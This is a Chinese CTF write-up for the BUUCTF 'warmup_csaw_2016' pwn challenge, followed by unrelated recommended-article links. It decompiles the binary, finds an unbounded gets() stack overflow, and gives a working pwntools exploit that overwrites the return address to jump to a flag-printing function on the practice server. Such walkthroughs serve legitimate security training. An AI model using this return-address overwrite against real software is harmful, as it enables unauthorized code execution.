buuctf PWN warmup_csaw_2016

下载附件,IDA查看

发现直接有显示flag函数

复制代码
int sub_40060D()
{
  return system("cat flag.txt");
}

查看程序起始地址0x40060D

复制代码
; Attributes: bp-based frame

sub_40060D proc near
; __unwind {
push    rbp
mov     rbp, rsp
mov     edi, offset command ; "cat flag.txt"
call    _system
pop     rbp
retn
; } // starts at 40060D
sub_40060D endp

查看main函数

复制代码
__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char s[64]; // [rsp+0h] [rbp-80h] BYREF
  char v5[64]; // [rsp+40h] [rbp-40h] BYREF

  write(1, "-Warm Up-\n", 0xAuLL);
  write(1, "WOW:", 4uLL);
  sprintf(s, "%p\n", sub_40060D);
  write(1, s, 9uLL);
  write(1, ">", 1uLL);
  return gets(v5);
}

发现函数gets(v5),是栈溢出

char v5[64]; // [rsp+40h] [rbp-40h] BYREF

看到v5占用64个位置

那就可以改写exp:

复制代码
from __future__ import absolute_import
from pwn import *  
p=remote(u"node4.buuoj.cn",29692) 
payload=u'A'*64+u'B'*8+p64(0x40060D+1).decode(u"iso-8859-1")
p.sendline(payload)
p.interactive()

运行结果

相关推荐
毕设源码-郭学长1 分钟前
【开题答辩全过程】以 基于springboot的健身房信息管理为例,包含答辩的问题和答案
java·spring boot·后端
Bug.ink2 分钟前
BUUCTF——WEB(4)
前端·网络安全·靶场·ctf·buuctf
松涛和鸣2 分钟前
DAY42 SQLite3 : Dictionary Import and Data Query Implementation with C Language
linux·c语言·数据库·单片机·网络协议·sqlite
低频电磁之道3 分钟前
C++中类的this指针
开发语言·c++
爱编码的傅同学8 分钟前
【单例模式】深入理解懒汉与饿汉模式
java·javascript·单例模式
better_liang11 分钟前
每日Java面试场景题知识点之-ThreadLocal在Web项目中的实战应用
java· threadlocal· web开发· 多线程· 企业级开发
小馬佩德罗12 分钟前
如何将x264 x265的动态库编译入Linux系统中的FFmpeg源码 - x265库编译
linux·ffmpeg·x265
Rysxt_21 分钟前
Spring Boot 4.0 新特性深度解析与实战教程
java·spring boot·后端
世转神风-22 分钟前
qt-通信协议基础-double转成QbyteArray-小端系统
开发语言·qt
飞Link25 分钟前
【Anaconda】Linux(CentOS7)下安装Anaconda教程
linux·运维·python